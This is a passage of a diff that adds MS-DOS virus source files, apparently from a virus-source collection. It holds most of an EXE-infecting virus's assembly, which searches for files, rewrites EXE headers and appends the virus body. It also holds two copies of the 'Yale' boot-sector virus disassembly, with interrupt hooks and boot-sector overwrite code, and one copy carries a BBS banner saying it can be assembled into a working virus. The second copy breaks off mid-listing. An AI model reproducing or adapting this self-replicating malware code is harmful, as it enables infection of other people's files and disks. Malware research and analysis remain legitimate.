;Lseek function call + int 21h + mov cx,dx + pop dx + pop bx + jnc compute_length + jmp close_error + +compute_length: + sub ax,000ch + sbb cx,0000h ;Exact position +save_offset: + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov [si],ax + add si,2 + mov [si],cx + + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov dx,ax + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_buffer + jmp close_error + +set_buffer: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,000ch + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_ok + jmp close_error + +read_ok: + mov si,offset buffer.virus_stamp + mov di,offset buffer.new_data + sub si,adjust + sub di,adjust + add si,bx + add di,bx + mov cx,12 ;Length of strings to compare + repe cmpsb + pushf + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],0000h + popf + jnz infect_it + +close_error: + mov si,offset buffer.handle + sub si,adjust + add si,bx + push bx + mov bx,[si] + mov ax,3e00h ;Close file function call + int 21h + pop bx + jmp error_exit + +infect_it: + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],7777h + + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + mov ax,[si] + sub si,2 + mov [si],ax ;This code effectively moves + ;where_from_flag into help_flag + add si,2 + mov [si],5a5ah ;Ready to infect + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_new_data + jmp append_ok + +set_new_data: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Read formatted exe header + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_header + jmp append_ok + +read_header: + nop ;some code to modify header + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + add ax,0ch + adc word ptr [si],0000h + sub si,2 + mov [si],ax ;This code restores original filelength + mov si,offset buffer.new_data + sub si,adjust + add si,bx + mov ax,[si] + cmp ax,5a4dh ;check for valid exe file + jz valid_exe + jmp append_ok + +valid_exe: + mov ax,[si+8] ;Load module size + xor dx,dx + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + push ax + push dx ;Adjust new size + push cx + mov dx,virussize-896+64 + push dx + mov cx,0009h + shr dx,cl + add word ptr [si+4],dx + pop dx + and dx,01ffh + add dx,word ptr [si+2] + cmp dx,512 + jl adjust_okay + sub dx,512 + inc word ptr [si+4] +adjust_okay: + mov word ptr [si+2],dx + pop cx + pop dx + pop ax + + push si ;This SI is very useful so save it + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + sub [si],ax + mov ax,[si] + sbb [si+2],dx + mov dx,[si+2] ;the byte size of the load module + pop si + + push ax + push dx + mov ax,[si+14h] + mov dx,[si+16h] ;Get CS:IP value + mov cx,[si+0eh] ;Get SS value + push si + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + xchg [si],ax + xchg [si+2],dx + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + xchg [si],cx + mov si,offset buffer.ip_old + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov [si],cx + pop si + pop dx + pop ax + + push ax + push dx + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + mov cx,0008h + shl dx,cl + mov cx,0004h + shr ax,cl ;A very obscure algorithm to make + ;a segment:offset pair + mov [si+14h],ax + mov [si+16h],dx ;Infected values + + push si + mov si,offset buffer.far_push + sub si,adjust + add si,bx + xchg [si],dx + mov word ptr [si+2],dx + pop si + + pop dx + pop ax + add ax,virussize + adc dx,0000h + mov cx,0003h + +mul_loop: + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 4096 + loop mul_loop + + or ax,ax + jz exact_value + inc dx +exact_value: + mov [si+0eh],dx ;Infected stack segment + ;Write back infected header + push si + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5700h ;Get time function + int 21h + pop bx + pop si + jnc correct_time + jmp append_ok1 + +correct_time: + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc continue_infection + jmp append_ok1 + +continue_infection: + push cx + push dx + push bx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Write infected exe header + mov ax,4000h + int 21h ;Write function call + pop bx + pop dx + pop cx + jnc glue_virus + jmp append_ok1 + +glue_virus: + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4202h ;From the end of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc write_data + jmp append_ok1 + +write_data: + mov si,offset buffer.handle + sub si,adjust + add si,bx + + push dx + push cx + mov dx,bx + sub dx,3 ;The starting three byte call instruction + push es + push bx + push dx + push si + mov ax,2f00h + int 21h + pop si + pop dx + push es + push bx + push si + mov ax,1a00h + int 21h + pop si + mov bx,[si] ;Load handle + mov cx,virussize-896+64 ;Length of virus obtained + mov ax,4000h ;with dir + int 21h + lahf ;Write function call + pop bx + pop es + push ds + push es + pop ds + mov dx,bx + + push ax + mov ax,1a00h + int 21h + pop ax + pop ds + pop bx + pop es + pop cx + pop dx + + sahf + jnc put_stamp ;Error or not file + jmp append_ok1 ;is closed + +put_stamp: + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5701h ;Set time function + int 21h + pop bx +append_ok1: + mov si,offset buffer.ip_old ;Restore previous CS:IP values + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + mov si,offset buffer.save_push + sub si,adjust + add si,bx + mov ax,[si] + mov word ptr [si-2],ax + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov ax,[si] + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + mov word ptr [si],ax +append_ok: + mov si,offset buffer.help_flag + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + mov [si],ax ;This code effectively moves + ;help_flag into where_from_flag + jmp close_error +error_exit: + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov dx,[si] ;Restore original DTA + add si,2 + mov ax,[si] + push ds + mov ds,ax + mov ax,1a00h ;Set DTA function call + int 21h + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret +try_to_infect ENDP + +transfer_filespec PROC + push si + mov si,offset buffer.filematch ;Transfer name to the working area + sub si,adjust + add si,bx + call byte_move + pop si + ret +transfer_filespec ENDP + +search_all PROC + push si + mov si,offset buffer.matchall ;This is the '*.*' filename + sub si,adjust + add si,bx + call byte_move + pop si + ret +search_all ENDP + +byte_move PROC + push ax + push di + cld +move_loop: + lodsb + stosb + or al,al ;The string to move is ASCIIZ + jne move_loop + pop di + pop ax + ret +byte_move ENDP + +find_first PROC + push cx + push bx + cmp dx,0000h + jnbe over_set + mov dx,offset buffer.buffer2 ;Set Data Transfer Area + sub dx,adjust ;or Disk Transfer area + add dx,bx +over_set: + add dx,02Bh + mov cx,00010h ;Attribute byte for directory search + mov ah,01ah + int 021h ;Set DTA function call + pop bx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov ah,04eh ;find first function call + int 021h + pop dx + pop bx + pop cx + ret +find_first ENDP + +find_next PROC + push cx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov cx,00010h + mov ah,04fh ;Find next function call + int 021h + pop dx + pop bx + pop cx + ret +find_next ENDP + +delay PROC + push ax + push bx + push cx + push dx + mov ah,2ch ;Read current time + int 21h + mov ah,ch + add al,cl + add bh,dh + add bl,dl + cmp bl,100 + jb secs + sub bl,100 + inc bh +secs: + cmp bh,60 + jb mins + sub bh,60 + inc al +mins: + cmp al,60 + jb hours + sub al,60 + inc ah +hours: + cmp ah,24 + jne tcheck + sub ah,ah +tcheck: + push ax + mov ah,2ch + int 21h + pop ax + cmp cx,ax + ja tdquit + jb tcheck + cmp dx,bx + jb tcheck +tdquit: + pop dx + pop cx + pop bx + pop ax + ret +delay ENDP + +sound PROC + push ax + push cx + push dx + push di + + mov al,0b6h + out 43h,al + mov dx,14h + mov ax,533h*896 + div di + out 42h,al + mov al,ah + out 42h,al + in al,61h + mov ah,al + or al,3 + out 61h,al + mov al,cl + call delay + mov al,ah + out 61h,al + pop di + pop dx + pop cx + pop ax + ret +sound ENDP + +music_play PROC + push bx + push cx + push di + push si + push bp +freq: + mov di,[si] + cmp di,0ffffh + je end_play + mov bl,ds:[bp] + sub cl,cl + sub bh,bh + call sound + add si,2 + inc bp + jnz freq +end_play: + pop bp + pop si + pop di + pop cx + pop bx + ret +music_play ENDP + +mary_proc PROC + push bx + push bp + mov si,offset mary_freq + mov bp,offset mary_time + sub si,adjust + sub bp,adjust + add si,bx + add bp,bx + call music_play + pop bp + pop bx + ret +mary_proc ENDP + +mary_freq dw 262,262,293,329,262,329,293,196 + dw 262,262,293,329,262,262 + dw 262,262,293,329,349,329,293,262 + dw 246,196,220,246,262,262 + dw 220,246,220,174,220,246,262,220 + dw 196,220,196,174,164,174,196 + dw 220,246,220,174,220,246,262,220 + dw 196,262,246,293,262,262,0ffffh +mary_time db 8 dup(25) + db 4 dup(25), 50, 50 + db 8 dup(25) + db 4 dup(25), 50, 50 + db 26, 25, 26, 5 dup(25) + db 26, 25, 26, 3 dup(25), 30 + db 26, 25, 26, 4 dup(25), 30 + db 4 dup(25), 50, 50 +setup_data: + cli + pop bx ;This will catch instruction pointer + push bx + sti ;value and after that restore stack + ret ;pointer value +buffer data_area <> ;Reseve data_area space diff --git a/MSDOS/Virus.MSDOS.Unknown.yale-asm.asm b/MSDOS/Virus.MSDOS.Unknown.yale-asm.asm new file mode 100644 index 00000000..53751cf9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.yale-asm.asm @@ -0,0 +1,365 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + page 65,132 + title The 'Yale' Virus +; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +; º British Computer Virus Research Centre º +; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º +; º Telephone: Domestic 0273-26105, International +44-273-26105 º +; º º +; º The 'Yale' Virus º +; º Disassembled by Joe Hirst, April 1989 º +; º º +; º Copyright (c) Joe Hirst 1989. º +; º º +; º This listing is only to be made available to virus researchers º +; º or software writers on a need-to-know basis. º +; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ + + ; The virus consists of a boot sector only on a floppy disk. + ; The original boot sector is kept at track thirty-nine, head zero, + ; sector eight. + + ; The disassembly has been tested by re-assembly using MASM 5.0 + ; Note that this does not create an identical program, as the original + ; appears to have been assembled with A86 + + ; MASM would not assemble the instruction at offset 003CH (7C3CH) + ; This instruction is undefined on an 8088/8086, and illegal + ; on a 80286/80386. + + ; The program requires an origin address of 7C00H for the first sector + ; to load and run as a boot sector + + ; System variables are defined in either RAM or BOOT (or both) + ; depending on the segment used by the program + +RAM SEGMENT AT 400H + + ; System RAM fields + + ORG 13H +BW0413 DW ? ; Total RAM size + ORG 17H +BB0417 DB ? ; Key toggles + ORG 72H +BW0472 DW ? ; System reset word + +RAM ENDS + +BOOT SEGMENT AT 0 + + ; Interrupt addresses + + ORG 24H +BW0024 DW ? ; Interrupt 9 offset +BW0026 DW ? ; Interrupt 9 segment + ORG 64H +BW0064 DW ? ; Interrupt 19H offset +BW0066 DW ? ; Interrupt 19H segment + + ; System RAM fields + + ORG 410H +DW0410 DW ? ; System configuration + ORG 413H +DW0413 DW ? ; Total RAM size + + ; BIOS field + + ORG 0E502H +DWE502 DW ? + +BOOT ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + + ASSUME CS:CODE,DS:NOTHING + +START: CLI + XOR AX,AX ; \ Set SS to zero + MOV SS,AX ; / + MOV SP,7C00H ; Set stack before boot area + STI + ASSUME DS:RAM + MOV BX,0040H ; \ Address RAM area + MOV DS,BX ; / + MOV AX,BW0413 ; Get size of RAM + MUL BX ; Convert to paragraphs + SUB AX,07E0H ; Subtract address after boot area + MOV ES,AX ; Target segment + ASSUME DS:CODE + PUSH CS ; \ Set DS to CS + POP DS ; / + CMP DI,3456H ; Simulated system reset? + JNE BP0010 ; Branch if not + DEC GENNUM[7C00H] ; Decrement generation number +BP0010: MOV SI,SP ; \ Address boot sector area + MOV DI,SI ; / + MOV CX,0200H ; 512 bytes to move + CLD + REPZ MOVSB ; Copy virus to high core + MOV SI,CX ; Address offset zero + MOV DI,7B80H ; Address interrupt save area + MOV CX,0080H ; 128 bytes to move + REPZ MOVSB ; Save first 32 interrupt pointers + CALL BP0030 ; Install interrupt 9 routine + PUSH ES ; \ Transfer to high core +; POP CS ; / + DB 0FH ; This is the previous instruction + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV BX,SP ; Address boot sector area + MOV DX,CX ; A-drive, head zero + MOV CX,2708H ; Track 39, sector 8 + MOV AX,0201H ; Read one sector + INT 13H ; Disk I/O +BP0020: JB BP0020 ; Loop on error + JMP BP0190 + + ; Install interrupt 9 routine + +BP0030: DEC DW0413 ; Decrement RAM size + MOV SI,OFFSET BW0024 ; Address INT 9 pointer + MOV DI,OFFSET INT_09+7C00H ; Target far jump + MOV CX,4 ; 4 bytes to copy + CLI + REPZ MOVSB ; Copy far address + MOV BW0024,OFFSET BP0050+7C00H ; Install new offset + MOV BW0026,ES ; Install new segment + STI + RET + + ; Ctrl-Alt-Del depressed - acknowledge keyboard signal + +BP0040: IN AL,61H ; Get port B + MOV AH,AL ; Save current state + OR AL,80H ; Turn top bit on + OUT 61H,AL ; Set port B + XCHG AL,AH ; Get original state + OUT 61H,AL ; Reset port B + JMP SHORT BP0110 + + ; Format table for track 39, head zero, 8 sectors (unused) + + DB 027H, 000H, 001H, 002H + DB 027H, 000H, 002H, 002H + DB 027H, 000H, 003H, 002H + DB 027H, 000H, 004H, 002H + DB 027H, 000H, 005H, 002H + DB 027H, 000H, 006H, 002H + DB 027H, 000H, 007H, 002H + DB 027H, 000H, 008H, 002H + + ; Rubbish + + DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H + DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H + DB 011H, 011H, 011H + + ; Interrupt 9 routine + +BP0050: PUSHF + STI + PUSH AX + PUSH BX + PUSH DS + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states + IN AL,60H ; Get keyboard token + MOV AH,AL ; Save keyboard token + AND AX,887FH + CMP AL,1DH ; Was key Ctrl? + JNE BP0060 ; Branch if not + MOV BL,AH ; Save Ctrl key state + JMP SHORT BP0080 + +BP0060: CMP AL,38H ; Was key Alt? + JNE BP0070 ; Branch if not + MOV BH,AH ; Save Alt key state + JMP SHORT BP0080 + +BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed? + JNE BP0080 ; Branch if not + CMP AL,17H ; Is key I? + JE BP0100 ; Branch if yes + CMP AL,53H ; Is key Del? + JE BP0040 ; Branch if yes +BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states +BP0090: POP DS + POP BX + POP AX + POPF + DB 0EAH ; Far jump to original INT 9 +INT_09 DW 0E987H, 0F000H + + ; Pass on Ctrl-Alt-I + +BP0100: JMP BP0240 ; Ctrl-Alt-I + + ; Ctrl-Alt-Del depressed - main processing + +BP0110: MOV DX,03D8H ; VDU mode control address + MOV AX,0800H ; Delay eight cycles + OUT DX,AL ; Disable display + CALL BP0250 ; Delay + MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states + MOV AL,3 ; Mode three + INT 10H ; VDU I/O + MOV AH,2 ; Set cursor address function + XOR DX,DX ; Row zero, column zero + MOV BH,DH ; Page zero + INT 10H ; VDU I/O + MOV AH,1 ; Set cursor size function + MOV CX,0607H ; Cursor lines 6 to 7 + INT 10H ; VDU I/O + MOV AX,0420H ; Delay 4 cycles + CALL BP0250 ; Delay + CLI + OUT 20H,AL ; End of interrupt + MOV ES,CX ; Address segment zero + MOV DI,CX ; Address offset zero + MOV SI,7B80H ; Address interrupt save area + MOV CX,0080H ; 128 bytes to move + CLD + REPZ MOVSB ; Restore first 32 interrupt pointers + MOV DS,CX ; Address zero + MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset + MOV BW0066,CS ; Install Int 19H segment + ASSUME DS:RAM + MOV AX,0040H ; \ Address RAM area + MOV DS,AX ; / + MOV BB0417,AH ; Set key toggles off + INC BW0413 ; Restore RAM size + PUSH DS + ASSUME DS:BOOT + MOV AX,0F000H ; \ Address BIOS + MOV DS,AX ; / + CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H? + POP DS + JE BP0120 ; Branch if yes + INT 19H ; Disk bootstrap + +BP0120: DB 0EAH ; Far jump to BIOS routine + DW 0E502H, 0F000H + + ; Interrupt 19H routine + + ASSUME DS:BOOT +BP0130: XOR AX,AX ; \ Set DS to zero + MOV DS,AX ; / + MOV AX,DW0410 ; Get system configuration + TEST AL,1 ; Is there a floppy disk + JNZ BP0150 ; Branch if yes +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + CALL BP0030 ; Install interrupt 9 routine + INT 18H ; Basica (IBM only) + +BP0150: MOV CX,4 ; Retry four times +BP0160: PUSH CX ; Save retry count + MOV AH,0 ; Reset disk sub-system + INT 13H ; Disk I/O + JB BP0170 ; Branch if error + MOV AX,0201H ; Read one sector + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV BX,7C00H ; Boot sector buffer + MOV CX,1 ; Track zero, sector one + INT 13H ; Disk I/O +BP0170: POP CX ; Retrieve retry count + JNB BP0180 ; Branch if no error + LOOP BP0160 ; Retry + JMP BP0140 + +BP0180: CMP DI,3456H ; Simulated system reset? + JNE BP0200 ; Branch if not +BP0190: DB 0EAH ; Far jump to boot sector area + DW 7C00H, 0 + +BP0200: MOV SI,7C00H ; Boot sector area + MOV CX,OFFSET INT_09 ; Length to compare + MOV DI,SI ; Virus offset + PUSH CS ; \ Set ES to CS + POP ES ; / + CLD + REPZ CMPSB ; Is boot sector infected? + JE BP0220 ; Branch if yes + INC ES:GENNUM[7C00H] ; Increment generation number + MOV BX,7C7AH ; Address format table + MOV DX,0 ; Head zero, drive zero + MOV CH,27H ; Track 39 + MOV AH,5 ; Format track + JMP SHORT BP0210 ; This line was probably an INT 13H + + JB BP0230 ; Error branch for deleted INT 13H +BP0210: MOV ES,DX ; \ Write from boot sector area + MOV BX,7C00H ; / + MOV CL,8 ; Sector eight + MOV AX,0301H ; Write one sector + INT 13H ; Disk I/O + PUSH CS ; \ Set ES to CS + POP ES ; / + JB BP0230 ; Branch if error + MOV CX,1 ; Track zero, sector one + MOV AX,0301H ; Write one sector + INT 13H ; Disk I/O + JB BP0230 ; Branch if error +BP0220: MOV DI,3456H ; Signal simulated system reset + INT 19H ; Disk bootstrap + +BP0230: CALL BP0030 ; Install interrupt 9 routine + DEC ES:GENNUM[7C00H] ; Decrement generation number + JMP BP0190 + + ; Ctrl-Alt-I + + ASSUME DS:CODE +BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states + MOV AX,GENNUM[7C00H] ; Get generation number + ASSUME DS:RAM + MOV BX,0040H ; \ Address RAM area + MOV DS,BX ; / + MOV BW0472,AX ; Generation to system reset word + JMP BP0090 ; Pass on to original interrupt + + ; Delay + +BP0250: SUB CX,CX ; Maximum count +BP0260: LOOP BP0260 ; Delay loop + SUB AH,1 ; Decrement count + JNZ BP0260 ; Repeat loop + RET + + DB 027H, 000H, 008H, 002H ; Last sector of format table +GENNUM DW 016H ; Generation number +KYSTAT DW 0 ; Ctrl & Alt key states + DB 027H, 000H, 008H, 002H ; Last sector of format table + +CODE ENDS + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.yale_asm.asm b/MSDOS/Virus.MSDOS.Unknown.yale_asm.asm new file mode 100644 index 00000000..e5cad28f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.yale_asm.asm @@ -0,0 +1,341 @@ + page 65,132 + title The 'Yale' Virus +; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +; º British Computer Virus Research Centre º +; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º +; º Telephone: Domestic 0273-26105, International +44-273-26105 º +; º º +; º The 'Yale' Virus º +; º Disassembled by Joe Hirst, April 1989 º +; º º +; º Copyright (c) Joe Hirst 1989. º +; º º +; º This listing is only to be made available to virus researchers º +; º or software writers on a need-to-know basis. º +; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ + + ; The virus consists of a boot sector only on a floppy disk. + ; The original boot sector is kept at track thirty-nine, head zero, + ; sector eight. + + ; The disassembly has been tested by re-assembly using MASM 5.0 + ; Note that this does not create an identical program, as the original + ; appears to have been assembled with A86 + + ; MASM would not assemble the instruction at offset 003CH (7C3CH) + ; This instruction is undefined on an 8088/8086, and illegal + ; on a 80286/80386. + + ; The program requires an origin address of 7C00H for the first sector + ; to load and run as a boot sector + + ; System variables are defined in either RAM or BOOT (or both) + ; depending on the segment used by the program + +RAM SEGMENT AT 400H + + ; System RAM fields + + ORG 13H +BW0413 DW ? ; Total RAM size + ORG 17H +BB0417 DB ? ; Key toggles + ORG 72H +BW0472 DW ? ; System reset word + +RAM ENDS + +BOOT SEGMENT AT 0 + + ; Interrupt addresses + + ORG 24H +BW0024 DW ? ; Interrupt 9 offset +BW0026 DW ? ; Interrupt 9 segment + ORG 64H +BW0064 DW ? ; Interrupt 19H offset +BW0066 DW ? ; Interrupt 19H segment + + ; System RAM fields + + ORG 410H +DW0410 DW ? ; System configuration + ORG 413H +DW0413 DW ? ; Total RAM size + + ; BIOS field + + ORG 0E502H +DWE502 DW ? + +BOOT ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + + ASSUME CS:CODE,DS:NOTHING + +START: CLI + XOR AX,AX ; \ Set SS to zero + MOV SS,AX ; / + MOV SP,7C00H ; Set stack before boot area + STI + ASSUME DS:RAM + MOV BX,0040H ; \ Address RAM area + MOV DS,BX ; / + MOV AX,BW0413 ; Get size of RAM + MUL BX ; Convert to paragraphs + SUB AX,07E0H ; Subtract address after boot area + MOV ES,AX ; Target segment + ASSUME DS:CODE + PUSH CS ; \ Set DS to CS + POP DS ; / + CMP DI,3456H ; Simulated system reset? + JNE BP0010 ; Branch if not + DEC GENNUM[7C00H] ; Decrement generation number +BP0010: MOV SI,SP ; \ Address boot sector area + MOV DI,SI ; / + MOV CX,0200H ; 512 bytes to move + CLD + REPZ MOVSB ; Copy virus to high core + MOV SI,CX ; Address offset zero + MOV DI,7B80H ; Address interrupt save area + MOV CX,0080H ; 128 bytes to move + REPZ MOVSB ; Save first 32 interrupt pointers + CALL BP0030 ; Install interrupt 9 routine + PUSH ES ; \ Transfer to high core +; POP CS ; / + DB 0FH ; This is the previous instruction + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV BX,SP ; Address boot sector area + MOV DX,CX ; A-drive, head zero + MOV CX,2708H ; Track 39, sector 8 + MOV AX,0201H ; Read one sector + INT 13H ; Disk I/O +BP0020: JB BP0020 ; Loop on error + JMP BP0190 + + ; Install interrupt 9 routine + +BP0030: DEC DW0413 ; Decrement RAM size + MOV SI,OFFSET BW0024 ; Address INT 9 pointer + MOV DI,OFFSET INT_09+7C00H ; Target far jump + MOV CX,4 ; 4 bytes to copy + CLI + REPZ MOVSB ; Copy far address + MOV BW0024,OFFSET BP0050+7C00H ; Install new offset + MOV BW0026,ES ; Install new segment + STI + RET + + ; Ctrl-Alt-Del depressed - acknowledge keyboard signal + +BP0040: IN AL,61H ; Get port B + MOV AH,AL ; Save current state + OR AL,80H ; Turn top bit on + OUT 61H,AL ; Set port B + XCHG AL,AH ; Get original state + OUT 61H,AL ; Reset port B + JMP SHORT BP0110 + + ; Format table for track 39, head zero, 8 sectors (unused) + + DB 027H, 000H, 001H, 002H + DB 027H, 000H, 002H, 002H + DB 027H, 000H, 003H, 002H + DB 027H, 000H, 004H, 002H + DB 027H, 000H, 005H, 002H + DB 027H, 000H, 006H, 002H + DB 027H, 000H, 007H, 002H + DB 027H, 000H, 008H, 002H + + ; Rubbish + + DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H + DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H + DB 011H, 011H, 011H + + ; Interrupt 9 routine + +BP0050: PUSHF + STI + PUSH AX + PUSH BX + PUSH DS + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states + IN AL,60H ; Get keyboard token + MOV AH,AL ; Save keyboard token + AND AX,887FH + CMP AL,1DH ; Was key Ctrl? + JNE BP0060 ; Branch if not + MOV BL,AH ; Save Ctrl key state + JMP SHORT BP0080 + +BP0060: CMP AL,38H ; Was key Alt? + JNE BP0070 ; Branch if not + MOV BH,AH ; Save Alt key state + JMP SHORT BP0080 + +BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed? + JNE BP0080 ; Branch if not + CMP AL,17H ; Is key I? + JE BP0100 ; Branch if yes + CMP AL,53H ; Is key Del? + JE BP0040 ; Branch if yes +BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states +BP0090: POP DS + POP BX + POP AX + POPF + DB 0EAH ; Far jump to original INT 9 +INT_09 DW 0E987H, 0F000H + + ; Pass on Ctrl-Alt-I + +BP0100: JMP BP0240 ; Ctrl-Alt-I + + ; Ctrl-Alt-Del depressed - main processing + +BP0110: MOV DX,03D8H ; VDU mode control address + MOV AX,0800H ; Delay eight cycles + OUT DX,AL ; Disable display + CALL BP0250 ; Delay + MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states + MOV AL,3 ; Mode three + INT 10H ; VDU I/O + MOV AH,2 ; Set cursor address function + XOR DX,DX ; Row zero, column zero + MOV BH,DH ; Page zero + INT 10H ; VDU I/O + MOV AH,1 ; Set cursor size function + MOV CX,0607H ; Cursor lines 6 to 7 + INT 10H ; VDU I/O + MOV AX,0420H ; Delay 4 cycles + CALL BP0250 ; Delay + CLI + OUT 20H,AL ; End of interrupt + MOV ES,CX ; Address segment zero + MOV DI,CX ; Address offset zero + MOV SI,7B80H ; Address interrupt save area + MOV CX,0080H ; 128 bytes to move + CLD + REPZ MOVSB ; Restore first 32 interrupt pointers + MOV DS,CX ; Address zero + MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset + MOV BW0066,CS ; Install Int 19H segment + ASSUME DS:RAM + MOV AX,0040H ; \ Address RAM area + MOV DS,AX ; / + MOV BB0417,AH ; Set key toggles off + INC BW0413 ; Restore RAM size + PUSH DS + ASSUME DS:BOOT + MOV AX,0F000H ; \ Address BIOS + MOV DS,AX ; / + CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H? + POP DS + JE BP0120 ; Branch if yes + INT 19H ; Disk bootstrap + +BP0120: DB 